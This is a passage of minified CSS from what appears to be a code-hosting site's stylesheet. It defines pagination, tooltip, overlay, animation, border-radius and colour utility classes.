50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px 